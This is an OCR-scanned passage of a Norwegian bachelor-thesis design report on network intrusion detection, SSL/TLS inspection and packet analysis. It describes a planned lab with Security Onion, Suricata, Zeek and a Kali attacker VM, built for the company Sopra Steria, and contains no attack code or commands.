Endringer i prosjektet kan bli aktuelt underveis i arbeidet. Dersom endringene er av en
signifikant starrelse, kan det fremmes som et forslag til endring blant en av interessentene i

prosjektet. Falgende behandles forslaget formelt og i henhold til falgende prosedyre:
1.  Dokumenter endringens innhold
2. Analyser konsekvensene for prosjektet
3. Beregne eventuell kost/nytt
4.  Godkjennelse og aksept
5. Logg endringen

6.  Juster planene
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7. Informer interessentene

8.  Gjennomfer endringen
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9. Prosjektorganisering

| dette segmentet presenteres hvem som er med i prosjektet, og hvordan de har fordelt

arbeidet mellom seg.

- Sopra Steria
-
sopra :
steria Oppdragsgiver

Adrian Gilberg { Erlend Saugstad ’ E 4 ‘ Vegar Asmul
- N
Prosjektgruppe & Prosjektgruppe "“5' J Faglig veileder
Stein Meisingseth
I':,
\of Kvalitetskontroll

B NTNU

NTNL

Figur 3: Oversikt over prosjektorganiseringen

Oppdragsgiver: Vegar Asmul ved Sopra Steria

Oppdragsgiveren for prosjektet er IT-konsulentselskapet Sopra Steria, med Vegar Asmul som
faglig veileder pa vegne av dem. Bidraget deres til prosjektet er a tilrettelegge for at
prosjektet kan bli gjennomfart pa en god mate. Dette innebzrer a tilgjengeliggjere
tilstrekkelig med relevant informasjon, men ogsa a frigi adekvat med ressurser.

Som faglig veileder er Vegar ogsa stattespiller og radgiver for prosjektgruppa i forbindelse

med faglige sparsmal.

Kvalitetskontroll: Stein Meisingseth ved NTNU

Kvalitetskontrollen for prosjektet star Stein Meisingseth fra NTNU for. Stein vil delta aktivt
gjennom prosjektet og komme med relevante tilbakemeldinger. Dette gjelder bade
tilbakemeldinger knyttet til gjennomfgringen av prosjektet, men ogsa i forbindelse med
dokumentasjonsarbeidet. Pa denne maten skal Stein sgrge for at kvaliteten pa arbeidet holder
mal.

Stein fungerer ogsa som veileder for prosjektgruppa, og bidrar med radgivende stgtte utenom

det faglige.
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Prosjektgruppe: Adrian Gilberg og Erlend Saugstad

Prosjektgruppen bestar av Adrian Gilberg og Erlend Saugstad. Det er prosjektgruppen som er
ansvarlig for selve arbeidet med oppgaven.

Pa bakgrunn av gruppas starrelse og kompleksitet ble det besluttet & benytte
koordineringsmekanismen gjensidig tilpasning. Dette tilsier at prosjektgruppen samarbeider
tett, og tilpasser seg hverandres behov. Arbeidsoppgavene tildeles dynamisk: noen ganger
arbeides det i fellesskap, mens det i andre tilfeller vil vere naturlig a dele seg. Det er av

denne grunn heller ikke definert en lederrolle innad i prosjektgruppen.
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Begreper og definisjoner

Azure Skytjeneste fra Microsoft. Brukes blant
annet til bygging, testing, utrulling og
administrering av applikasjoner og tjenester.

DPI Dyp pakkeinspeksjon er en form for
inspeksjon av nettverkspakker, hvor man ser
pa alt av innholdet i pakken, inkludert

nyttelasten.

EDR Endpoint Detection and Response -
Sikkerhetssystem for & detektere og reagere
pa trusler som oppdages pa et endepunkt.

EPP Endpoint Protection Platform - Et
sikkerhetssystem som detekterer og reagerer
pa trusler som oppdages pa et endepunkt.
Har noe utvidet funksjonalitet i forhold til
EDR, og inneholder blant annet

antivirusfunksjonalitet.

|
Header (i forbindelse med pakker) Header - Den delen av en IP-pakke som

inneholder informasjon om pakkens
avsender og destinasjon, samt andre felter

som bidrar til a rute pakken.

HTTP/HTTPS Hypertext Transfer Protocol/Hypertext
Transfer Protocol Secure er en protokoll pa
applikasjonslaget, som primart brukes pa
internett til & utveksle informasjon. HTTPS
er en nyere og forbedret utgave som benytter
seg av SSL- eller TLS-teknologi for a
kryptere trafikken og dermed beskytte den

Side 3 av 37

Side 66 av 221



Designrapport

Oppgavenummer 44 ®NTNU

mot avlytting og ugnsket interferens.

laas

Infrastructure as a service - En
databehandlingsinfrastruktur som tilbys og
administreres over internett. laas gir blant
annet muligheten til & sette opp et eget miljg

med virtuelle maskiner og nettverk.

IDS

Intrusion Detection System - Programvare
eller enhet som brukes til deteksjon av
skadevare pa systemer og nettverk.

IPS

Intrusion Prevention System er en teknologi
som monitorerer og detekterer skadevare pa
systemer og nettverk. I tillegg til dette har
IPS-programvare ogsa muligheten til &

reagere pa trusler som blir oppdaget.

|
MITM

Man in the middle (MITM) er en
angrepsform som baserer seg pa at en
ondsinnet akter stiller seg imellom to parter
som tror de kommuniserer direkte.
Angriperen kan i slike situasjoner lytte eller
interferere med kommunikasjonen, uten at

noen av partene er klar over det.

NIC

Nettverksgrensesnittkontroller - En
komponent som muliggjer

nettverkstilkoblinger for en datamaskin.

|
NIDS

1
Network Based Intrusion Detection System -

IDS-programvare eller enhet som overvaker

og detekterer pa nettverksniva.

|
OSI-modellen

Open Systems Interconnection (OSI)

modellen er en referansemodell for
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datakommunikasjon. Den bestar av 7 ulike
lag for kommunikasjon med hver sine
protokoller, og beskriver sammenhengen

mellom dem.

PCAP Packet capture (PCAP) er et
programmeringsgrensesnitt som brukes til &
analysere nettverkstrafikk. Med PCAP kan
analysere pakkestrammen i et nettverk, og
man kan se informasjon om pakkene fra lag
2 til 7 i OSI-modellen. Det finnes ogsa pcap-
filer, og disse inneholder en strgm av
pakker. Disse filene kan analyseres i
programmer som for eksempel Wireshark.

|
Promiskugs modus Promiskugs modus - En

nettverkskonfigurasjon som overfarer alle
pakkene som nettverksadapterdriveren
mottar. En nettverksgrensesnittkontroller i
denne modusen muliggjer pakkesniffing.

|
Proxy Proxy - En server som fungerer som et

mellomledd mellom en Kklient og en tjener

|
Sertifikat Sertifikat i denne konteksten refereres til et

digitalt sertifikat. Et sertifikat er en unik
datafil, og brukes ofte i dagens digitale
infrastruktur, gjerne til & bevise eller
verifisere opphavet til det man interagerer
med, eller som en form for digital

underskrift.

SIEM Security Information and Event Manager
(SIEM) er et system for

sikkerhetsinformasjon og
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hendelseshandtering. Det fungerer som et
samlingssted for logger, og genererer

sikkerhetsvarsler basert pa disse.

|
SSL/TLS

Transport Layer Security (TLS) og
forgjengeren Secure Sockets Layer (SSL) er
kryptografiske protokoller som muliggjer en
sikrere kommunikasjon pa internett, og kan
beskytte mot at ugnskede parter far innsyn i
datapakkene.

|
Threat hunting

Threat hunting - En proaktiv og iterativ
prosess der man aktivt sgker gjennom et
nettverk for & oppdage isolerte og avanserte
trusler som ikke blir fanget opp av andre
sikkerhetslasninger.

VM

Virtuell Maskin - En datafil som oppfarer

seg som en faktisk datamaskin.

XDR

Extended Detection and Response - Et
sikkerhetssystem som detekterer og reagerer
pa trusler som oppdages pa et endepunkt og
miljget rundt. Teknologien fungerer som et
EDR med utvidet funksjonalitet.

MSSP

Managed Security Service Provider. En
MSSP handterer sikkerhetstjenester for
sluttbrukere, slik som monitorering og

handtering av hendelser.

[
Snapshot

En sikkerhetskopi av maskintilstand. Brukes
for & kunne rulle tilbake til en tidligere

versjon ved behov.
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1. Introduksjon — hensikten med

dokumentet

Denne designrapporten er skrevet i forbindelse med et bachelorprosjekt, og er utarbeidet av
Adrian Gilberg og Erlend Saugstad i samarbeid med bedriften Sopra Steria.

Rapporten er det andre formelle dokumentet i en serie av fire dokumenter som fglger
bacheloroppgavens gang, og bygger pa en forstudierapport utarbeidet pa et tidligere
tidspunkt.

1.1 Hensikten med designrapporten

I hovedsak vil rapporten omhandle designet for det systemet som skal implementeres i
tilknytning til prosjektet, og hensikten er & dokumentere hvordan prosjektgruppen har valgt a
ga frem for a imgtekomme det overordnede malet for oppgaven, og behovet til Sopra Steria
knyttet opp mot dette. Dette dokumentet vil pa mange omrader bista momenter fra
forstudierapporten, men til forskjell vil det her draftes en mer detaljert beskrivelse av hvordan

den ferdige lgsningen vil se ut, som skal veere gjennomfgrt mot slutten av prosjektperioden.

Det vil i denne rapporten bli gitt en beskrivelse av hvilke teknologier som prosjektgruppen vil
benytte seg av for a realisere det endelige systemet og den ngdvendige infrastrukturen som
tilherer dette. Det blir skissert hvordan de ulike momentene henger sammen, og hvordan de
ulike prosessene blir utfart. Selve fremgangsmaten og utfgrelsen i seg selv vil i enda nermere

detalj bli presentert i driftsrapporten senere.

Hensikten med dette dokumentet er a beskrive designet til systemet/installasjonen som er
utviklet.

Lesningsdesignet er primert beregnet pa kunden/oppdragsgiver og er en konseptuell og

tekstlig beskrivelse av systemet/installasjonen.
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1.2 Innholdet i designrapporten

Denne designrapporten tar for seg en rekke punkter som er relevante for prosjektet, men forst
og fremst beskriver rapporten en rekke aspekter rundt testmiljget som skal bygges. Dette
testmiljget star helt sentralt i prosjektet, da det er her det vil bli gjennomfart tester, som igjen

er helt sentrale for prosjektets resultat.

Innledningsvis i rapporten (kapittel 2) gjennomgas det en avgrensning av designrapporten.
Her blir det fremlagt hvorfor designrapporten er strukturert slik den er, og det beskrives
hvorfor de ulike segmentene, som til sammen utgjer designrapporten, er valgt, samt hva de

vil ta for seg.

Videre (i kapittel 3) presenteres de ulike teknologiene som er av sarlig relevans for
oppgaven, og oppgavens rammeverk. Dette er teknologier som er sentrale for testmiljget, og
de testene som skal gjennomfgres her. Det gis sa en beskrivelse av relevant programvare
tilknyttet disse teknologiene. Til slutt i dette segmentet vil det gjennomgas andre teknologier

som er av relevans for oppgaven, men som ikke vil benyttes i testmiljget.

Kapittel 4 starter med a ta for seg lgsningsdesignet. Dette innebeerer en gjennomgang av
hensikten med Igsningen, den tekniske lgsningen som er valgt, samt testmiljgets oppbygging.
Det presenteres ogsa en overordnet grafisk fremstilling av testmiljget i forbindelse med dette.
Videre i kapittelet gjennomgas arbeidsprosessen som skal gjennomfares tilknyttet arbeidet
med testmiljget. Dette inkluderer beskrivelser av en overordnet arbeidsmetodikk, samt mer
konkrete fremgangsmater knyttet til bygging, gjennomfgring og dokumentering. Kapittelet

avsluttes med en oppdatert fremdriftsplan knyttet til prosjektgruppas fremgang i prosjektet.

Helt til slutt (kapittel 5) gjennomgas de kildene og referansene som er benyttet til a utarbeide

dette dokumentet, samt hvor vi har hentet illustrasjonene som er brukt.
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2. Avgrensing

2.1 Kort om oppdragsgivers behov

Det er gnskelig & se neermere pa hvilke «trade-offs» en SOC gjar ved a tilby
sikkerhetstjenester for deteksjon og visibilitet tilknyttet sikkerhetsmonitorering uten a basere
seg pa NIDS-teknologi som en sentral teknologi. Sopra Steria gnsker empiri pa dette for a
kunne ta velinformerte valg rundt videre utvikling av sin verktgykasse. Derfor vil vi
konstruere et testmiljg som baserer seg pa NIDS-teknologi, og dokumentere og diskutere

resultatene vare fra arbeidet, samt teknologien ellers.

2.2 Oppgavens omfang

Oppgaven var handler om & undersgke forskjellige teknologier, og finne ut av hvilken innsikt
man gar glipp av dersom man ikke benytter seg av disse teknologiene. Det er av den grunn
ikke tiltenkt at det skal produseres et faktisk produkt eller system som faglge av dette
prosjektet. Det vi derimot skal gjere er & produsere et testmiljg (en lab) vi skal bruke
underveis i prosjektet. Dette testmiljoet skal bidra til & lgse oppgaven ved at vi kan teste ut de
forskjellige teknologiene, gjere observasjoner basert pa ulike forsgk, og pa denne maten
opparbeide resultater som kan veere innsiktsfulle.

Med bakgrunn i dette vil vi derfor vaere mest relevant for oss a ta for oss dette testmiljget i
denne designrapporten. Det farste vi vil ta for oss er de teknologiene som er mest relevante
for testmiljget, og for prosjektet ellers. Dette innebarer a ga litt i dybden pa noen teknologier,
samt a se pa hvilke programvarer vil benytte oss av for a realisere testmiljget og dets
teknologier. Videre vil vi se pa hvordan testmiljget er tenkt utformet. Dette handler om antall
noder testmiljget bestar av, deres funksjon, og hvordan de henger sammen. Videre skal vi se
pa hvordan vi skal realisere testmiljget. Her vil vi konkret se pa hvor vi skal bygge miljget,
og hvordan det skal gjgres. Til slutt skal vi ogsa gjennomga det som er tenkt at vi skal fa ut
av testmiljget. Dette vil vaere presenteres gjennom forskjellige framgangsmater og prosesser.
Det er viktig a understreke at dette dokumentet ikke skal ta for seg hvordan dette faktisk blir

gjennomfart (dette gjennomgas i driftsrapporten), men bare hvordan det er tiltenkt.
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I tillegg til testmiljget kommer vi gjennom prosjektet ogsa til & benytte oss av
informasjonsinnhenting og eksterne studier for & opparbeide oss innsikt til oppgaven.

Fremgangsmate og metode tilknyttet dette vil ikke bli dekket av designrapporten.
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3. Teknologier og rammeverk

Ettersom testmiljget spiller en sentral rolle for prosjektets resultater, er det kritisk a
gjennomga hvilke teknologier testmiljget bygger pa. Derfor gjennomgas det i denne
seksjonen de teknologiene som er mest sentrale for testmiljget, og rammeverket rundt dette.
Videre gjennomgas den programvaren som det er tiltenkt at skal brukes i testmiljget, og det
gis en kort beskrivelse av programvarenes roller og funksjonalitet. Til slutt kommer en
beskrivelse av teknologier som spiller en viktig rolle for prosjektet, men som ikke er en del
av testmiljget. Dette gjeres ettersom man pa denne maten kan sette testmiljgets teknologier i

en kontekst med de mest aktuelle alternative teknologiene.

3.1 Sentrale teknologier

Det er tre teknologier som har en helt sentral plass i arbeidet med testmiljget. Dette er
teknologier som det er kritisk a forsta og kunne bruke dersom arbeidet med testmiljget og
prosjektet skal bli vellykket. Av denne grunn vil disse teknologiene gjennomgas i litt sterre

detalj.

3.1.1 NIDS

Network Intrusion Detection System (NIDS) er et system som overvaker og monitorerer
nettverkstrafikk [1]. NIDS ser etter mistenkelig aktivitet i nettverksstremmen, basert pa et sett
med definerte regler, og produserer varsler nar den oppdager dette. NIDS-programvare kan
installeres pd en maskin 1 nettverket, ved hjelp av en “passive tap” et sted 1 nettverket, eller pa
en ruter. Hovedoppgaven til et NIDS er a bidra til at man detekterer potensielle trusler pa

nettverksniva, men ogsa at man skaper visibilitet rundt det som foregar i nettverket.

Maten NIDS fungerer pa er at er at den fanger opp alle pakkene som passerer det mediet som
den er koblet opp mot. NIDS setter sa alle disse pakkene opp mot et sett med regler som er
satt i NIDS-programvaren. Disse reglene bestar av en blanding av forhandsdefinerte regler fra
leverander og egendefinerte regler. NIDS benytter seg av forskjellige metoder for & oppdage
potensielle farer [2]. Her er signaturbasert deteksjon den mest fremtredende metoden. | dette
tilfellet sammenliknes pakkene og dets innhold opp mot en lang liste bestaende av allerede
kjente trusler (ved hjelp av signaturer). Ellers finnes det ogsa NIDS-programvare som i stor

grad baserer seg pa anomali-basert deteksjon. Dette fungerer ved at NIDS-programvaren
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flagger ukjent og mistenkelig trafikk. Denne typen programvare er avhengig av at man farst
bygger en “baseline” av normal trafikk, for & pa denne méten kunne skape et bilde av hva
som er unormalt. Uavhengig av metode vil NIDS flagge mistenkelig trafikk og falgende bade

varsle og logge dette.

g >
Nettverkstraffikk ~\§
Internett
Brannmur
Lokalt
Pakker nettverk
(i
J\/L NIDS
Pakkedekoder

Pre-prosessor Deteksjon

Logging og -
alarmering Logdfiler
Varslingssentral j

Figur 1: Figuren viser en hensiktsmessig plassering av NIDS (i dette tilfellet gjennom programvaren Suricata) i
et vilkarlig lokalnettverk. NIDS er plassert mellom brannmuren og det lokale nettverket, og sniffer opp pakkene
som passerer ut og inn av nettverket. Pakkene gjennomgar en pakkedekoder og en pre-prosessor, far
mistenkelige pakker eventuelt detekteres basert pa et sett med regler som er satt pa forhand. Til slutt vil NIDS
logge og alarmere basert pa det som detekteres.

Regler

Varslene som NIDS produserer, er ikke ngdvendigvis reelle farer. NIDS-systemer er kjent for
at de produserer mange falske positive. Derfor er det viktig at alt av varsler som NIDS
produserer pa et tidspunkt ma gjennomgas av kompetent personell. Dette kan enten gjgres
ved at varsler sendes direkte til en administrator for gjennomgang, men mer normalt er at de
lagres i et SIEM for videre behandling [3]. Inne i et SIEM kan varslene fra NIDS settes i
sammenheng med output fra flere forskjellige kilder, og pa denne maten filtrere bort deler av
det som mest sannsynlig er falske alarmer. Fglgende varsler blir sa analysert av

administratorer. Dette farer til at NIDS blir mer handterlig.
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En stor svakhet med NIDS, er at det ikke kan analysere innholdet i pakker som er kryptert.
Store deler av dagens datatrafikk gar kryptert (med HTTPS), og dermed kan ikke NIDS fa
stort utbytte av store deler av datastrammen. Dette er et problem som i stor grad kan redusere
prestasjonen til denne teknologien. En mulig lgsning pa dette, er a farst benytte seg av
SSL/TLS-inspeksjon, for sa a la NIDS analysere datastrgammen. Dette kan man gjare pa flere
mater, men den kanskje mest hensiktsmessige maten er a benytte seg av en avsluttet
TLS/SSL-proxyserver [4]. Dette fungerer ved at en proxy internt i lokalnettet dekrypterer
hele datastremmen, for sa a videresende den dekryptere trafikken til et NIDS gjennom en
vanlig HTTP-strgm. Pa denne maten far man benyttet seg av NIDS-programvaren sin fulle
funksjonalitet selv om mye av nettverkstrafikken er kryptert. Det er riktignok verdt & nevne at
denne metoden ogsa har sine utfordringer, i tillegg til de problemstillingene som dukker opp i
forbindelse med SSL/TLS-inspeksjon, blant annet knyttet til behandling av sensitive data.

Dette skal vi se neermere pa i neste seksjon.

3.1.2 SSL/TLS-inspeksjon

SSL/TLS er protokoller som sgrger for a kryptere en strem av data for a sikre
kommunikasjonen mellom to parter, blant annet for avlytting fra en ugnsket tredjepart. TLS
er en nyere og sikrere versjon av SSL, og er gjerne den protokollen som er benyttet i dagens
infrastruktur. Likevel er et vanlig a kalle begge protokollene for SSL, da det er en sa utbredt
term. Pa grunn av dette er det besluttet & benytte begge navnene nar teknologien omtales.

SSL/TLS-inspeksjon er en prosess der man avlytter en SSL/TLS-kryptert kommunikasjon
mellom en klient og en tjener [5]. Avlyttingen kan forega nar datastremmen gar fra klienten
til tjeneren, men ogsa den andre veien (bade for innkommende og utgaende data). Det som
foregar er at den som avlytter datastrammen farst dekrypterer all dataene, for sa a skanne
gjennom dem. Etter at dette er gjort krypteres dataene igjen, og sendes videre til det
opprinnelige malet. Pa figuren under, illustreres det hvordan TLS-tunnelen blir delt opp ved
et ledd for inspeksjon i midten, far dataene blir kryptert pa nytt og sendt videre derfra. Merk
at i systemet som er illustrert under, interagerer vi ikke med datastrammen, men kun
observerer den. Dette er illustrert ved at ogsa den mistenkelige trafikken blir sendt videre til
klienten, uten noe videre handling utover at det blir observert og logget. Et slikt system kunne

ogsa veert utvidet ved at inspeksjonsleddet er tilkoblet en mer proaktiv sikkerhetsmekanisme,
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som f.eks. et IPS. Da ville man ogsa kunne interagert med pakkene og blokkere

mistenkelig/flagget trafikk i inspeksjons-modulen, og forhindret det i & komme lenger inn i

nettverket.
\ @
N4 N4
SSL/TLS SSU/TLS
< I/ ! < 1 q < ] ] '
) < . = '
Kllent SSL/TLS-inspeksjon Server

Verifisert trafikk Mistenkelig trafikk

Figur 2: SSL/TLS-inspeksjon

Det kan veare flere grunner til at man gjennomfgrer SSL/TLS-inspeksjon. Man kan man
benytte seg av denne teknologien for & gjennomfare et MITM-angrep, men mer aktuelt er det
at man kan benytte seg av SSL/TLS-inspeksjon for a lete etter skadevare i en datastrgm.
Denne funksjonaliteten har en verdi ettersom skadevare i en SSL/TLS-kryptert datastragm (for
eksempel i en HTTPS-stram) normalt sett ikke vil kunne bli oppdaget av en IDS/IPS eller
annen antivirus-funksjonalitet [6] da innholdet er kryptert, noe angripere ofte er bevisste over
og misbruker. Ved hjelp av SSL/TLS-inspeksjon vil man kunne dekryptere datastremmen,
sende innholdet til en IDS/IPS-lgsning, og videre detektere skadevaren. Ellers kan man ogsa
fa utbytte av a gjennomfare SSL/TLS-inspeksjon uten bruk av IDS/IPS eller annen antivirus-
funksjonalitet. Dette kan blant annet vaere knyttet til analyser i etterkant av et angrep eller dyp

pakkeanalyse, som gjennomgas i punkt 3.1.3.

SSL/TLS-inspeksjon har ogsa flere utfordringer. For det farste sa er det ingen garanti for at
signaturen til en bestemt type skadevare er kjent, og derfor vil man ikke ngdvendigvis
oppdage skadevaren selv om det ikke forekommer i kryptert form [7]. Videre sa finnes det
flere problemstillinger tilknyttet til SSL/TLS-inspeksjon og personvern. Et eksempel pa dette
kan man finne dersom man ser for seg en vilkarlig bedrift som benytter seg av SSL/TLS-
inspeksjon. De ansatte i bedriften har i praksis ingen form for personvern, da private

hendelser som bankforbindelser, bruk av sosiale medier og private e-poster vil kunne bli lest
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av bedriften gjennom SSL/TLS-inspeksjonen. Ellers har nyere forskning har ogsa vist at
SSL/TLS-inspeksjon kan svekke SSL/TLS-sikkerheten betraktelig [8]. Til slutt sa kan
SSL/TLS-inspeksjon ogsa veare ressurskrevende, da man ma dekryptere, gjennomga og
kryptere store mengder data.

3.1.3 Inspeksjon av pakkedumper

Analyse av pakker og pakkedumper er teknologi som tilbyr en rekke muligheter nar det
kommer til deteksjon og visibilitet pa nettverksniva. Analysen foregar ved at man henter ut
alt av innhold som passerer et spesifikt sted i et nettverk, for sa & gjennomga dette. Typisk
gjennomgar man dette innholdet ved hjelp av en PCAP. Dette er en fil som inneholder en
kopi av innholdet i en nettverksstrgm over en gitt tidsperiode, og vil kunne gi stor innsikt i
det som har foregatt pa nettverksniva. Slike filer kan man apne og undersgke gjennom
pakkeanalysatorer, som for eksempelvis Wireshark. Ved a konfigurere
nettverksgrensesnittkontrolleren (NIC), eller den tradlgse nettverksgrensesnittkontrolleren
(WNIC) til promiskugs modus, kan all nettverkstrafikk passere gjennom CPU-en, slik at man

enkelt kan foreta seg en slik analyse av pakker.

Inspeksjon av pakkedumper er svaert utbredt innenfor nettverkssikkerhet. Dette kommer av at
datapakker inneholder nyttig innhold i forbindelse med undersgkelser hvor man jobber med &
oppdage ugnsket oppfarsel. Slik informasjon kan for eksempel veere besgkte nettsteder og tid
brukt pa dem, innlogginger eller mislykkede innloggingsforsegk, legitimering, nedlastinger av

filer osv. Hvilket detaljniva man far innsikt i ved a utfare slike analyser varierer imidlertid.

| dagens nettverksklima hvor det meste av trafikk foregar pa sikre og krypterte protokoller, er
det begrenset hva man kan undersgke av nyttelast uten & implementere egne mekanismer i
systemet som legger spesielt til rette for det. Likevel er det vanlig & benytte seg av analyser
av denne arten, men hvor man begrenser seg til header-feltene i pakkene. Dermed far man
ikke innsikt i hva som inngar av data i pakkene. Likevel kan det vaere mye nyttig informasjon
a hente fra header-feltene alene, og man kan i tillegg til dette ogsa bruke det som et deduktivt

utgangspunkt for a utlede mer informasjon.
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Pakkeinspeksjon uten DPI Pakkeinspeksjon med DPI

Figur 3: Pakkeinspeksjon med og uten bruk av DPI

Det er ogsa muligheter for a undersgke pakkeinnholdet i sin helhet. I disse tilfellene ser man
ogsa pa nyttelasten i pakkene. Dette kalles for dyp pakkeinspeksjon (DPI), og forutsetter at
innholdet i pakkene ikke er kryptert [9]. Eventuelt kan man ta utgangspunkt i at pakkene er
kryptert, for sa a benytte seg av SSL/TLS-inspeksjon for a fa innsikt i innholdet. Ved &
benytte seg av dyp pakkeanalyse far man et mer omfattende datagrunnlag for analysene, og
man kan bruke dette til & utvinne innsikt i enda starre grad. En viktig forutsetning her, er at
man tar en tilstrekkelig vurdering av hva det innebeerer i betraktning. Blant annet skyldes
dette at det er et starre inngrep i nettverket, det kan apne for nye angrepsoverflater, og kan
veere problematisk overfor personvern og reguleringer, i tillegg til organisasjonens egne
retningslinjer. Det krever dermed en mer omfattende beslutning knyttet opp mot hvordan man

gnsker a veie opp dette inngrepet mot gkt grad av innsikt til sikkerhetsformal.
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3.2 Programvareoversikt

Lasningen for hvordan testmiljget skal bygges og struktureres, inneholder en rekke ulike
programvarer. Disse benyttes for a aktivt utfgre arbeid rettet inn mot de teknologiene som er i
hovedfokus. | figuren under er det illustrert en enkel oversikt over de mest essensielle
programvarene som er knyttet opp mot testmiljgets formal, og hvor de er plassert i
lzsningsdesignet. De ulike lagene av virtualisering er illustrert med tydelige rammer, hvor de

innerste boksene er et virtualisert ledd som henholdsvis hgrer ssmmen med boksene utenpa
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Figur 4: Oversikt over aktuell programvare tilknyttet testmiljeet

Den innerste boksen er delt i tre, noe som illustrerer de tre ulike virtuelle maskinene som
eksisterer pa innsiden av VirtualBox, og de store logoene gverst pa hver av dem peker til
hvilket operativsystem som brukes som teknisk rammeverk pa hver enkelt respektive VM.
Videre kan man under hver av disse se hvilke programvarer som hgrer til hver av de ulike

maskinene i dette virtuelle nettverket.

Hensikten med denne figuren er a vise en enkel oversikt over hvor de ulike programmene
harer til i designet for lgsningen, da det skal brukes mange forskjellige programmer og
rammeverk, og det ikke ngdvendigvis er selvforklarende hvor de harer til. Dette vil

presenteres i stgrre detalj i punkt 4 i denne rapporten. Hver enkelt logo har ogsa et tall knyttet
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til seg, markert med en grenn sirkel, som hgrer sammen med en tekstlig beskrivelse av
programmet videre i dokumentet. Dette skal gjere det enkelt a sla opp de ulike modulene og

se hvor i lgsningen disse er plassert. Punktene som henvises til i figuren er falgende:

1- Azure:

Microsoft Azure er en plattform som bl.a. tilbyr infrastruktur som tjeneste (laaS). | dette
prosjektet benyttes Azure som sky-infrastruktur hvor vertsmaskinen er plassert. En stor fordel
med a bruke dette er fleksibilitet tilknyttet blant annet ressurser, tilgjengelighet og palitelig
oppetid.

2 - Oracle VM VirtualBox:
VirtualBox er en programvare basert pa apen kildekode og brukes for virtualisering.
Hoveddelen i testmiljget vil befinne seg som et virtualisert ledd med utspring i VirtualBox pa

vertsmaskinen.

3 - Windows 10:
Windows 10 er et operativsystem for datamaskiner utviklet av Microsoft. Det er et sveert
utbredt operativsystem, og testmiljget vil dette veere installert pa maskinen som skal spille

rollen som et vilkarlig offer.

4 - Security Onion:

Security Onion er en Linux-distribusjon, som er spesiallaget for maskiner som skal benyttes
til sikkerhetsarbeid. Den er tilpasset med en rekke ulike pakker av apen kildekode, som egner
seg godt til & jobbe med blant annet “threat hunting”, nettverkssikkerhet og monitorering, og

logg-behandling.
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5 - Kali:
Kali er en Linux-distribusjon basert pa Debian, og spesialiserer seg pa en rekke ulike
oppgaver innenfor informasjonssikkerhet, blant annet penetrasjonstesting. | var arkitektur vil

Kali vaere installert pa den maskinen som skal fungere som angriper i nettverket.

6 - Wireshark:

Wireshark er et sveert utbredt program som retter seg inn mot analyser pa
nettverksprotokollene. Det kan gjare opptak av alt som skjer innenfor nettverket, og la
brukeren ga inn & analysere hver enkelt nettverkspakke og se pa innholdet. Dette er et kraftig

verktgy som vil brukes til nettopp dette formalet.

7 - Zeek:

Zeek er et verktgy for trafikkanalyse pa nettverk. Det blir ofte brukt som et system for
nettverkssikkerhet-monitorering (NSM), for a etterforske mistenkelig eller skadelig trafikk.
Det inneholder ogsa et bredt spekter av verktgy for deteksjon og analyse av trafikk pa et
nettverk, ogsa utenfor sikkerhetsdomenet. Det har ogsa et eget «turing-komplett» skriptsprak

som kan brukes til & uttrykke ulike analyseoppgaver.

8 - Suricata:

Suricata er basert pa apen kildekode, og er utbredt innen trusseldeteksjon pa nettverk. Det kan
brukes bade til Intrusion Prevention System (IPS), og Intrusion Detection System (IDS).
Suricata baserer seg pa et sett med regler som hjelper med & definere ondsinnet
nettverksaktivitet, og det genereres varsler dersom det blir oppdaget pakker pa nettverket som

strider imot reglene.
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3.3 Andre relevante teknologier

Her vil det gjennomgas teknologier som spiller en viktig rolle for den overordnede
konteksten i prosjektet, men som ikke er en del av testmiljget. Grunnen til at det er satt av en
seksjon til dette er at disse teknologiene er de mest relevante teknologiene dersom man ikke
benytter seg av deteksjon pa nettverksniva, som er det som skal gjgres i testmiljget. Innsikt i
hva disse teknologiene tilbyr vil da kunne veaere med pa & skape en bedre forstaelse av den

unike innsikten man far ved & benytte seg av deteksjon pa nettverksniva.

3.3.1 Endpoint Detection and Response

Endpoint Detection and Response (EDR) er en sikkerhetsteknologi som baserer seg pa
overvakning og analyse av endepunkter. EDR kan bidra til & detektere trusler, men ogsa
reagere pa de automatisk nar de oppdages. EDR gjer dette gjennom a analysere filer og
programmer, samt det meste annet som foregar pa et endepunkt. EDR settes som regel opp pa
flere endepunkter i et bedriftsnettverk. Endepunktene samhandler sa ved & kommunisere med

en sentralisert database, og det er her majoriteten av analysen og deteksjonen foregar.

En av de starste fordelene med EDR er at teknologien ikke bare beskytter mot kjente trusler,
men ogsa kan oppdage ukjente angrep. Maten EDR gjar dette pa er ved & analysere
mistenkelig adferd som foregar pa endepunktet. Dersom EDR oppdager at et av
endepunktene er infisert, tilbyr teknologien muligheten til & isolere endepunktet fra resten av

nettverket, slik at skadevaren ikke spres videre.

En svakhet som er fremtredende ved EDR, er at teknologien ikke kan settes opp pa alle
enhetene i et nettverk. Eksempler pa dette er IOT-enheter og printere. Det finnes ogsa flere
operativsystemer som ikke stattes av EDR-programvare, og EDR-programvare vil ikke tilby
noen form for innsikt dersom private enheter benyttes i bedriftsnettverket. Dette betyr at
EDR-lgsninger ikke vil kunne tilby full visibilitet i det som foregar i et bedriftsnettverk. Av
den grunn finnes det mye god argumentasjon for at man ogsa burde benytte seg av
nettverksbaserte sikkerhetslasninger i en bedrift, som for eksempel NIDS.

Det finnes ogsa mange teknologier som likner pa EDR, men som ogsa har utvidet

funksjonalitet. Eksempler pa dette kan veere XDR og EPP.
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4. Prosessdesign / lgsningsdesign

| dette segmentet gjennomgas testmiljget, og prosessene rundt arbeidet med testmiljget. Dette
inneberer testmiljgets hensikt, hvordan testmiljget er oppbygd, og hvorfor testmiljget er
konstruert slik det er gjort. Det vil ogsa beskrives hvilke fremgangsmater vi vil benytte oss av
i arbeidsprosessen, bade tilknyttet byggingen av testmiljget, selve testingen i testmiljget, samt
hvordan dokumentasjonen skal fares i forbindelse med dette. Til slutt fremlegges ogsa en

oppdatert fremdriftsplan tilknyttet prosjektgruppas fremgang i prosjektet.
4.1 Testmiljg

| denne seksjonen vil det bli gjennomgatt hva som er hensikten med testmiljget. Videre vil
det fremlegges en begrunnelse av valget av teknisk lgsning, og alternative lgsninger blir
skildret. Til slutt vil ogsa testmiljgets oppbygging legges frem. Dette innebarer en
gjennomgang av testmiljgets rammeverk, nodene testmiljget bestar av, samt en overordnet

beskrivelse av testmiljgets oppbygning.
4.1.1 Hensikt med testmiljg

Hensikten med arbeidet vart i testmiljget er & undersgke hva slags innsikt man far dersom
man monitorerer det som foregar pa nettverksniva i et lokalt nettverk. For & gjere dette skal vi
undersgke pakkestrammene pa nettverksniva, og dokumentere utbyttet man far av disse
